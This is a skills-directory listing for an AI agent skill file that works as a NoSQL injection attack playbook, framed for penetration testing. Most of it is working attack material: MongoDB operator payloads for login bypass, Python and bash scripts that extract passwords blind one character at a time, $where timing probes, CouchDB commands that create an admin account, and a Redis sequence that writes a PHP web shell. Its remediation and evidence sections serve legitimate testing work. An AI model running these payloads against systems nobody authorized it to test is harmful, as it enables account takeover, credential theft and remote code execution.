Skip to content
Back to skills

Nosql Injection

ASecurity

NoSQL injection playbook. Use when MongoDB-style operators, JSON query objects, flexible search filters, or backend query DSLs may allow data or logic abuse.

  • 2 stars
  • 0 votes
  • 0 copies
  • 0 views
  • Added November 11, 2026
developmentjavascriptpythonrustgojavarubyphpshellbashsql

Works with

  • api

Security analysis

A96/100
  • mediumUses curl or wget to download content

Pro shows the line behind each finding and how to fix it

Scanned November 11, 2026

npx -y skills add harezadmm/omp-enhanced --skill nosql-injection --agent claude-code

Installs into .claude/skills of the current project.

Are you the author of Nosql Injection?

Add the live security badge to your README. It updates with every re-scan.

Security grade badge for Nosql Injection
[![Security: A — Skills Directory](https://www.skillsdirectory.com/api/skills/harezadmm-nosql-injection/badge)](https://www.skillsdirectory.com/skills/harezadmm-nosql-injection)

More formats (shields.io, HTML) on the badges page. Keep it an A: scan every change in CI with Pro.

Download with Pro
SKILL.md
---
name: nosql-injection
description: >-
  NoSQL injection playbook. Use when MongoDB-style operators, JSON query objects, flexible search filters, or backend query DSLs may allow data or logic abuse.
---

# SKILL: NoSQL Injection — Expert Attack Playbook

> **AI LOAD INSTRUCTION**: NoSQL injection is fundamentally different from SQL injection. Covers MongoDB operator injection, authentication bypass, blind extraction, aggregation pipeline injection, and Redis/CouchDB specific attacks. Very commonly missed by testers who only know SQLi patterns.
>
> **The evidence is operator injection that changes the RESULT SET** — an authentication bypass, a
> data extraction, or a written record. A `500` is not evidence. Show the request that returned
> the *other* result and the control request that did not.
>
> **Four false positives account for most rejected reports**: a `500` from malformed JSON (the
> parser failed, nothing was injected); an operator stripped by a schema validator; a `$regex`
> that matches nothing; and a query error that merely echoes your input back. Confirm the
> behaviour change before writing it up.

## 0. RELATED ROUTING

- [api-auth-and-jwt-abuse](../api-auth-and-jwt-abuse/SKILL.md) — the authentication context you bypass
- [http-parameter-pollution](../http-parameter-pollution/SKILL.md) — array-syntax parsing that enables operator injection
- [prototype-pollution-advanced](../prototype-pollution-advanced/SKILL.md) — nested-object parsing via the same libraries
- [sqli-sql-injection](../sqli-sql-injection/SKILL.md) — the SQL counterpart, for contrast
- [type-juggling](../type-juggling/SKILL.md) — scalar-vs-array type confusion
- [security-reporting-and-documentation](../security-reporting-and-documentation/SKILL.md) — proving a result-set change

---

## 1. CORE CONCEPT — OPERATOR INJECTION

**SQL Injection** breaks out of string literals.  
**NoSQL Injection** injects **query operators** that change query logic.

MongoDB example — normal query:
```javascript
db.users.find({username: "alice", password: "secret"})
```

Injection via JSON operator:
```json
{
  "username": "admin",
  "password": {"$gt": ""}
}
```
→ Becomes: `find({username:"admin", password:{$gt:""}})` → password > "" → always true!

---

## 2. MONGODB — LOGIN BYPASS

### JSON Body Injection (API with JSON Content-Type)
```json
POST /api/login
Content-Type: application/json

{"username": "admin", "password": {"$ne": "invalid"}}
{"username": "admin", "password": {"$gt": ""}}
{"username": {"$ne": "invalid"}, "password": {"$ne": "invalid"}}
{"username": "admin", "password": {"$regex": ".*"}}
```

### PHP `$_POST` Array Injection (URL-encoded form)
```
username=admin&password[$ne]=invalid
username=admin&password[$gt]=
username[$ne]=invalid&password[$ne]=invalid
username=admin&password[$regex]=.*
```

### Ruby / Python `params` Array Injection
Same as PHP — use bracket notation to inject objects:
```
?username[%24ne]=invalid&password[%24ne]=invalid
```
`%24` = URL-encoded `$`

---

## 3. MONGODB OPERATORS FOR INJECTION

| Operator | Meaning | Use Case |
|---|---|---|
| `$ne` | not equal | `{"password": {"$ne": "x"}}` → always matches |
| `$gt` | greater than | `{"password": {"$gt": ""}}` → all non-empty passwords match |
| `$gte` | greater or equal | Similar to $gt |
| `$lt` | less than | `{"password": {"$lt": "~"}}` → all ASCII match |
| `$regex` | regex match | `{"username": {"$regex": "adm.*"}}` |
| `$where` | JS expression | MOST DANGEROUS — code execution |
| `$exists` | field exists | `{"admin": {"$exists": true}}` |
| `$in` | in array | `{"username": {"$in": ["admin","user"]}}` |

---

## 4. BLIND DATA EXTRACTION VIA $REGEX

Like binary search in SQLi, use `$regex` to extract field values character by character:

```json
// Does admin's password start with 'a'?
{"username": "admin", "password": {"$regex": "^a"}}

// Does admin's password start with 'b'?
{"username": "admin", "password": {"$regex": "^b"}}

// Continue: narrow down each position
{"username": "admin", "password": {"$regex": "^ab"}}
{"username": "admin", "password": {"$regex": "^ac"}}
```

**Response difference**: successful login vs failed login = boolean oracle.

**Automate** with NoSQLMap or custom script with binary search on character set.

---

## 5. MONGODB $WHERE INJECTION (JS EXECUTION)

`$where` evaluates JavaScript in MongoDB context.  
**Can only use current document's fields** — not system access. But allows logic abuse:

```json
{"$where": "this.username == 'admin' && this.password.length > 0"}

// Blind extraction via timing:
{"$where": "if(this.username=='admin'){sleep(5000);return true;}else{return false;}"}

// Regex via JS:
{"$where": "this.username.match(/^adm/) && true"}
```

**Limit**: `$where` doesn't give OS command execution — **server-side JS injection** (not to be confused with command injection).

---

## 6. AGGREGATION PIPELINE INJECTION

When user-controlled data enters `$match` or `$group` stages:

```javascript
// Vulnerable code:
db.collection.aggregate([
  {$match: {category: userInput}},  // userInput = {"$ne": null}
  ...
])
```

Inject operators to bypass:
```json
// Input as object:
{"$ne": null}  → matches all categories
{"$regex": ".*"}  → matches all
```

---

## 7. HTTP PARAMETER POLLUTION FOR NOSQL

Some frameworks (Express.js, PHP) parse repeating parameters as arrays:
```
?filter=value1&filter=value2 → filter = ["value1", "value2"]
```

Use `qs` library parse behavior in Node.js:
```
?filter[$ne]=invalid
→ parsed as: filter = {$ne: "invalid"}
→ NoSQL operator injection
```

---

## 8. COUCHDB ATTACKS

### HTTP Admin API (if exposed)
```bash
# List databases:
curl http://target.com:5984/_all_dbs

# Read all documents in a DB:
curl http://target.com:5984/DATABASE_NAME/_all_docs?include_docs=true

# Create admin account (if anonymous access allowed):
curl -X PUT http://target.com:5984/_config/admins/attacker -d '"password"'
```

---

## 9. REDIS INJECTION

Redis exposed (6379) with no auth — command injection via input used in Redis queries:

```
# Via SSRF or direct injection:
SET key "<?php system($_GET['cmd']); ?>"
CONFIG SET dir /var/www/html
CONFIG SET dbfilename shell.php
BGSAVE
```

**Auth bypass** (older Redis with `requirepass` using simple password):
```
AUTH password
AUTH 123456
AUTH redis
AUTH admin
```

---

## 10. DETECTION PAYLOADS

Send these to any input processed by NoSQL backend:

```
true, $where: '1 == 1'
, $where: '1 == 1'
$where: '1 == 1'
', $where: '1 == 1
1, $where: '1 == 1'
{ $ne: 1 }
', sleep(1000)
1' ; sleep(1000)
{"$gt": ""}
{"$ne": "invalid"}
[$ne]=invalid
[$gt]=
```

**JSON variant** test (change Content-Type to `application/json` if endpoint is form-based):
```json
{"username": "admin", "password": {"$ne": ""}}
```

### Triage commands

```bash
# Baseline: a legitimate failed login gives you the reference response. Capture it first —
# every injection result is judged against this.
curl -s -X POST https://TARGET/api/login -H 'Content-Type: application/json' \
  -d '{"username":"admin","password":"definitely-wrong"}' -w '\n%{http_code} %{size_download}b\n'
```

```bash
# Operator injection. Compare each to the baseline: a changed status or body length is the
# signal that the operator reached the query.
for pl in '{"$ne":"x"}' '{"$gt":""}' '{"$regex":".*"}' '{"$exists":true}'; do
  printf '%-18s ' "$pl"
  curl -s -o /dev/null -w '%{http_code} %{size_download}b\n' -X POST https://TARGET/api/login \
    -H 'Content-Type: application/json' \
    -d "{\"username\":\"admin\",\"password\":$pl}"
done
```

```bash
# Form-encoded array syntax. The bracket notation makes the parser build an object, which is
# how a PHP/Express endpoint receives a MongoDB operator.
curl -s -X POST https://TARGET/login \
  --data-urlencode 'username=admin' \
  --data-urlencode 'password[$ne]=x' \
  -w '\n%{http_code} %{size_download}b\n'
```

```bash
# Type confusion: send the password as an array instead of a scalar. If the app treats it as
# an operator object, the query logic changes; if it 500s on malformed input, that is a false
# positive, not a finding.
curl -s -X POST https://TARGET/api/login -H 'Content-Type: application/json' \
  -d '{"username":"admin","password":["x"]}' -w '\n%{http_code}\n'
```

```bash
# Time-based $where probe. A consistent delay tied to a true condition is the oracle; a delay
# on every request is just a slow endpoint, and an error is nothing.
for cond in 'sleep(5000);return true' 'return true'; do
  printf '%-28s ' "$cond"
  curl -s -o /dev/null -w 'total=%{time_total}s\n' -X POST https://TARGET/api/login \
    -H 'Content-Type: application/json' \
    -d "{\"username\":{\"\$where\":\"$cond\"},\"password\":\"x\"}"
done
```

---

## 11. NOSQL VS SQL — KEY DIFFERENCES

| Aspect | SQLi | NoSQLi |
|---|---|---|
| Language | SQL syntax | Query operator objects |
| Injection vector | String concatenation | Object/operator injection |
| Common signal | Quote breaks response | `{$ne:x}` changes response |
| Extraction method | UNION / error-based | `$regex` character oracle |
| Auth bypass | `' OR 1=1--` | `{"password":{"$ne":""}}` |
| OS command | xp_cmdshell (MSSQL) | Rare (need `$where` + CVE) |
| Fingerprint | DB-specific error messages | "cannot use $" errors |

---

## 12. TESTING CHECKLIST

```
□ Test login fields with: {"$ne": "invalid"} JSON body
□ Test URL-encoded forms: password[$ne]=invalid
□ Test $regex for blind enumeration of field values
□ Try $where with sleep() for time-based blind
□ Check 5984 port for CouchDB (unauthenticated admin)
□ Check 6379 port for Redis (unauthenticated)
□ Try Content-Type: application/json on form endpoints
□ Monitor for operator-related error messages ("BSON" "operator" "$not allowed")
```

---

## 13. BLIND NoSQL EXTRACTION AUTOMATION

### $regex Character-by-Character Extraction (Python Template)

```python
import requests
import string

url = "http://target/login"
charset = string.ascii_lowercase + string.digits + string.punctuation
password = ""

while True:
    found = False
    for c in charset:
        payload = {
            "username": "admin",
            "password[$regex]": f"^{password}{c}.*"
        }
        r = requests.post(url, json=payload)
        if "success" in r.text or r.status_code == 302:
            password += c
            found = True
            print(f"Found: {password}")
            break
    if not found:
        break

print(f"Final password: {password}")
```

### $regex via URL-encoded GET Parameters

```
username=admin&password[$regex]=^a.*
username=admin&password[$regex]=^ab.*
# Iterate through charset until login succeeds
```

### Shell loop for the same extraction

No Python needed for a quick oracle — `curl` plus `grep` over the charset is enough. `-s` keeps
the output clean; the length/status difference is the oracle.

```bash
# Derive the password prefix one character at a time. Each iteration appends the character
# that flips the response from the "fail" baseline to the "success" response.
prefix=''
base_len=$(curl -s -o /dev/null -w '%{size_download}' -X POST https://TARGET/login \
  --data-urlencode 'username=admin' --data-urlencode 'password[$regex]=^zzzz')

for i in $(seq 1 24); do
  for c in {a..z} {A..Z} {0..9} '_' '-' '.' '@'; do
    len=$(curl -s -o /dev/null -w '%{size_download}' -X POST https://TARGET/login \
      --data-urlencode 'username=admin' \
      --data-urlencode "password[\$regex]=^${prefix}${c}.*")
    if [ "$len" != "$base_len" ]; then prefix="${prefix}${c}"; echo "prefix=$prefix"; break; fi
  done
done
echo "recovered: $prefix"
```

```bash
# Blind extraction by timing rather than response size, when the response body is uniform.
# A true condition sleeps; the measured difference is the oracle.
for c in a b c d e f; do
  t=$(curl -s -o /dev/null -w '%{time_total}' -X POST https://TARGET/api/login \
    -H 'Content-Type: application/json' \
    -d "{\"username\":\"admin\",\"password\":{\"\$where\":\"this.password[0]=='$c' && sleep(3000)\"}}")
  echo "$c -> ${t}s"
done
```

### Duplicate Key Bypass

```json
// When app checks one key but processes another:
{"id": "10", "id": "100"}
// JSON parsers typically use last occurrence
// Bypass: WAF validates id=10, app processes id=100
```

---

## 14. PIPELINE DATA-ACCESS PRIMITIVES ($lookup / $out / $function)

> Section 6 covers *operator injection into* a pipeline stage. This section covers the
> **pipeline stages themselves as data-access primitives** — what an attacker gains once input
> reaches an aggregation pipeline at all, beyond changing a match condition.

When user input reaches MongoDB aggregation pipeline stages:

```javascript
// If user controls $match stage:
db.collection.aggregate([
  { $match: { user: INPUT } }  // INPUT from user
])

// Injection: provide object instead of string
// INPUT = {"$gt": ""} → matches all documents

// $lookup for cross-collection data access:
// If $lookup stage is injectable, read a collection the query was never meant to touch:
{ $lookup: {
    from: "admin_users",       // attacker-chosen collection
    localField: "user_id",
    foreignField: "_id",
    as: "leaked"
}}

// $out / $merge to WRITE results into a collection you can then read:
{ $out: "public_collection" }  // Write query results to an accessible collection
```

### $function and $accumulator (server-side JS in the pipeline)

Newer MongoDB aggregation stages run JavaScript too, which extends the `$where` sink into the
pipeline itself:

```javascript
// $function evaluates a JS body per document — same trust problem as $where:
{ $addFields: { x: { $function: { body: INPUT, args: ["$field"], lang: "js" } } } }
```

**Reference**: Soroush Dalili — "MongoDB NoSQL Injection with Aggregation Pipelines" (2024)

**Note:** `$where` and `$function` run JavaScript on the server. Besides logic abuse and timing
oracles, older MongoDB builds without a tight V8 sandbox historically raised RCE concerns;
prefer treating any server-side-JS sink as high risk.

---

## 15. WHAT CONSTITUTES A FINDING

The finding is a **result-set change**, not an error. Every row below requires that you observed
a different *outcome* from the control request.

| Finding | Severity | Proof required |
|---|---|---|
| Authentication bypass via operator injection | **Critical (P1)** | the forged login returning a session/token, plus the control login failing |
| Extraction of another user's field values (blind `$regex` oracle) | **Critical (P1)** | the recovered value, cross-checked against a known-good source |
| `$where` / `$function` server-side JS with a demonstrated oracle | **High (P2)** | the timing or boolean oracle, with the control timing |
| Write injection (`$out`/`$merge`, or a write through a query filter) | **High (P2)** | the written record read back |
| Unauthenticated CouchDB/Redis reachable with data or write access | **High (P2)** | the data read, or the written record |
| Result-set change with no sensitive data and no bypass | **Low–Medium (P3/P4)** | the two differing responses |
| A `500` from malformed JSON | **Not a finding** | the parser failed; nothing was injected |
| A query error echoing your input back | **Not a finding** | no behavioural change |
| `$regex` that matches nothing | **Not a finding** | no oracle |

---

## 16. EVIDENCE STANDARD

| Item | Why |
|---|---|
| the **control request** and its response | the baseline every result is judged against |
| the injection request and its differing response | the behaviour change — the finding |
| the exact operator and the field it reached | the mechanism |
| for a bypass: the session or token obtained, and a privileged action taken with it | proves the bypass is real |
| for blind extraction: the recovered value plus the oracle sequence that derived it | the extraction is the finding |
| for timing: paired timings with matched true/false conditions | a single slow response proves nothing |
| the `Content-Type` and encoding used | operator injection is parser-dependent |

**The control is the whole methodology.** Without the failing legitimate login beside the
successful injected one, a `200` proves nothing — many endpoints return `200` with
`{"error":...}`.

**False positives to exclude:**

| Looks like injection | Actually |
|---|---|
| a `500` on malformed JSON | parser error, not injection |
| a schema validator strips the operator | the operator never reached the query |
| a `$regex` that matches nothing | no oracle, no result change |
| the error message echoes your input | reflection, not execution |
| a heavy legitimate query times out | unrelated to any injected operator |
| the endpoint returns `200` with an error body | no bypass occurred |
| an operator accepted but the result set is identical | no behavioural change |

---

## 17. REMEDIATION REFERENCE

1. **Cast every input to its expected scalar type** — reject objects and arrays outright where a string is expected. This alone defeats operator injection.
2. **Use a schema validator on every query object** — a validator that permits only known scalar fields removes `$`-prefixed keys before they reach the driver.
3. **Never pass a request body directly as a query** — `find(req.body)` and `filter(**request.data)` are the root causes.
4. **Disable server-side JavaScript** — turn off `$where`, `$function`, and `mapReduce` via `--noscripting` / `security.javascriptEnabled: false` where the workload permits.
5. **Reject keys beginning with `$` or containing `.`** — a recursive sanitizer over the parsed body catches the nested cases.
6. **Do not enable `$lookup`/`$out` on user-shaped input** — allowlist the pipeline stages an endpoint may use.
7. **Bind CouchDB and Redis to localhost and require authentication** — the exposed-default deployments are the whole attack for those two engines.
8. **Rate-limit and log authentication attempts** — a `$regex` blind oracle is thousands of requests; the volume is detectable even when each request looks legitimate.

---

## 18. CONFIRMING THE FINDING

| Step | Question | What it proves |
|---|---|---|
| 1 | Did the injected operator **change the result set**, not just the status code? | the database, not the framework |
| 2 | Was there a **control query with the operator removed**? | the operator is the cause |
| 3 | Did you get **authentication bypass, data extraction, or code execution**? | the impact class |
| 4 | For `$where` or `$function`: did the **server-side evaluation** actually run? | the highest-impact case |
| 5 | Did the error text or timing **name the database**? | the sink is confirmed, not guessed |
| 6 | Did you test both the **body and the query string**, and both JSON and form encodings? | the parser reach |
| 7 | Did you leave **no documents written** and verify that with a query? | engagement integrity |

**A changed result set with its control is the bar.** A `500` where you sent an operator may be the
framework rejecting it; the differential result set is what proves the database evaluated it.

---

## 19. EXECUTION PRIMITIVES

NoSQL injection is proven by **a result set that the un-injected query cannot produce, with the
operator-free control**. Every block ends at a differential or an evaluated expression.

### 19.1 The control pair for the authentication case

```bash
HOST="https://target.example"
# BENIGN CONTROL: valid credentials, which must return a session
curl -sS -o /dev/null -w 'valid     %{http_code} len=%{size_download}\n' -H 'Content-Type: application/json' \
  -d '{"username":"alice","password":"correct-horse"}' "$HOST/api/login"
# THE CONTROL THAT MATTERS: wrong password with a STRING value, which must be rejected
curl -sS -o /dev/null -w 'bad-string %{http_code} len=%{size_download}\n' -H 'Content-Type: application/json' \
  -d '{"username":"alice","password":"wrong"}' "$HOST/api/login"
# THE ATTACK: the operator where a string belongs
curl -sS -o /dev/null -w 'operator  %{http_code} len=%{size_download}\n' -H 'Content-Type: application/json' \
  -d '{"username":"alice","password":{"$ne":null}}' "$HOST/api/login"
curl -sS -o /dev/null -w 'not-in    %{http_code} len=%{size_download}\n' -H 'Content-Type: application/json' \
  -d '{"username":"alice","password":{"$not":{"$eq":"wrong"}}}' "$HOST/api/login"
# and the user enumeration form, which needs no password at all
curl -sS -o /dev/null -w 'enum      %{http_code} len=%{size_download}\n' -H 'Content-Type: application/json' \
  -d '{"username":{"$gt":""},"password":{"$gt":""}}' "$HOST/api/login"
```

**The `bad-string` row is the control.** If a wrong string password is rejected and `{"$ne":null}` is
accepted, the operator reached the database - and that single pair is the finding.

### 19.2 The extraction primitives, with a differential per character

```python
import requests, json, string
HOST = "https://target.example"

def login(payload):
    r = requests.post(f"{HOST}/api/login", json=payload, timeout=10)
    return r.status_code, len(r.content)

BASE = {"username": "admin", "password": {"$ne": None}}
print("baseline operator login:", login(BASE))
print("control (string):      ", login({"username": "admin", "password": "x"}))
print()

# blind extraction via a regex operator, one character at a time - the classic and the reliable one
def extract_field(field, prefix=""):
    charset = string.ascii_lowercase + string.digits + "_{}-@."
    out = prefix
    for _ in range(40):
        for ch in charset:
            cand = out + ch
            st, _ = login({"username": "admin",
                           "password": {"$ne": None},
                           field: {"$regex": "^" + re.escape(cand)}})
            if st == 200 and _ > 400:
                out = cand; break
        else:
            break
    return out

import re
print("NOTE: the loop above queries ONE field at a time; run it against the field you are testing")
print("and record each accepted prefix, which is the evidence for the extracted value.")
print("The differential between a matching and a non-matching prefix is the extraction.")
```

**The differential per character is the evidence.** A blind extraction without the non-matching control
is indistinguishable from a login that always succeeds, and that is the standard failure here.

### 19.3 The query-string and form-encoded forms, which bypass JSON-only filters

```bash
HOST="https://target.example"
# many filters guard the JSON body only; the bracket syntax reaches the same parser
curl -sS -o /dev/null -w 'qs-bracket  %{http_code} len=%{size_download}\n' \
  -d 'username=admin&password[$ne]=null' "$HOST/api/login"
curl -sS -o /dev/null -w 'qs-bracket2 %{http_code} len=%{size_download}\n' \
  -d 'username[$gt]=&password[$gt]=' "$HOST/api/login"
# and in the query string itself, which some routers parse into the same object
curl -sS -o /dev/null -w 'in-url      %{http_code} len=%{size_download}\n' \
  "$HOST/api/login?username=admin&password[\$ne]=null"
# the control for each: a string value, which must behave differently
curl -sS -o /dev/null -w 'control     %{http_code} len=%{size_download}\n' \
  -d 'username=admin&password=wrong' "$HOST/api/login"
```

**The encoded-form variant reached a different parser.** A filter that inspects `application/json` bodies
does not see `application/x-www-form-urlencoded`, and the bracket syntax is parsed into the same object
by most frameworks.

### 19.4 `$where` and `$function`, where the impact becomes code execution

```bash
HOST="https://target.example"
# $where evaluates JavaScript server-side on MongoDB; the timing difference is the proof
python3 - <<'PY'
import requests, time
HOST = "https://target.example"
def timed(payload, n=3):
    ts = []
    for _ in range(n):
        t0 = time.perf_counter()
        try: requests.post(f"{HOST}/api/search", json=payload, timeout=30)
        except Exception: pass
        ts.append(time.perf_counter() - t0)
    return sorted(ts)[len(ts)//2]

benign = timed({"q": "laptop"})
print(f"benign query           {benign*1000:8.1f} ms")
# the same predicate, always true, with a deliberate delay
bad = timed({"q": {"$where": "function(){ return true; }"}})
print(f"$where always-true     {bad*1000:8.1f} ms")
sleepy = timed({"q": {"$where": "function(){ sleep(5000); return true; }"}})
print(f"$where with sleep(5s)  {sleepy*1000:8.1f} ms  <- a 5 s delta proves server-side evaluation")
print()
print("the three-run median is the evidence; a single slow response is jitter")
PY
```

**The `sleep(5000)` delta is the proof of server-side evaluation.** A `$where` that returns the same
timing as a plain query has not been demonstrated to evaluate, and reporting it is a guess.

### 19.5 Write primitives, with the revert

```bash
HOST="https://target.example"
# an update operator that reaches the database is the write-side finding - use a test document only
curl -sS -o /dev/null -w 'update %{http_code}\n' -H 'Content-Type: application/json' \
  -d '{"_id":"pentest-doc","$set":{"marker":"pentest"}}' "$HOST/api/items"
# and the read-back that proves it landed
curl -sS "$HOST/api/items/pentest-doc" | head -c 200; echo
# THE REVERT and its verification
curl -sS -X DELETE -o /dev/null -w 'delete %{http_code}\n' "$HOST/api/items/pentest-doc"
curl -sS -o /dev/null -w 'revert-verify %{http_code}  (404 is the correct result)\n' "$HOST/api/items/pentest-doc"
```

**Every write gets a read-back and a verified revert.** A document left in the database is an incident,
and the `404` after the delete is the evidence it was removed.

### 19.6 The end-to-end harness

```bash
python3 - <<'PY'
import requests, json
HOST = "https://target.example"
URL = f"{HOST}/api/login"

def probe(body, label):
    try:
        r = requests.post(URL, json=body, timeout=15)
        return label, r.status_code, len(r.content), (r.text[:120])
    except Exception as e:
        return label, "ERR", 0, type(e).__name__

CASES = [
    ({"username": "alice", "password": "correct-horse"}, "control-valid"),
    ({"username": "alice", "password": "wrong"},         "control-wrong-string"),
    ({"username": "alice", "password": {"$ne": None}},   "attack-ne-null"),
    ({"username": "alice", "password": {"$gt": ""}},     "attack-gt-empty"),
    ({"username": {"$gt": ""}, "password": {"$gt": ""}}, "attack-enum-all"),
]
print("%-22s %-6s %-8s %s" % ("case", "code", "len", "body"))
for body, label in CASES:
    l, c, n, b = probe(body, label)
    print("%-22s %-6s %-8s %s" % (l, c, n, b.replace("\n", " ")))

print()
print("VERDICT: a 200-with-session on an attack row, where the wrong-string control is rejected,")
print("         is the finding. A 500 on every attack row is the framework rejecting the operator - not a finding.")
print()
print("Then: extract one field blind with the $regex differential, and record the matched prefixes.")
PY
```

**The control-valid and control-wrong rows decide everything.** Without them, an attack row returning
`200` is indistinguishable from an endpoint that never checks a password.

---

## 20. RELATED SIBLINGS - LOAD TOGETHER

- [sqli-sql-injection](../sqli-sql-injection/SKILL.md) - the SQL counterpart with the same differential discipline
- [authbypass-authentication-flaws](../authbypass-authentication-flaws/SKILL.md) - the login-bypass family this belongs to
- [api-recon-and-docs](../api-recon-and-docs/SKILL.md) - how the JSON endpoints and their body shapes are discovered
- [nosql-injection](../nosql-injection/SKILL.md) - this document
- [prototype-pollution](../prototype-pollution/SKILL.md) - the same operator-reaching-a-parser class in JavaScript

Attribution

Is this your skill, or is something wrong with this listing? Request removal or report an issue. Author removals are honored within 72 hours.

View all in development →

Comments

Loading comments…

Newsletter

Get the weekly list of safe new skills, and the ones we pulled.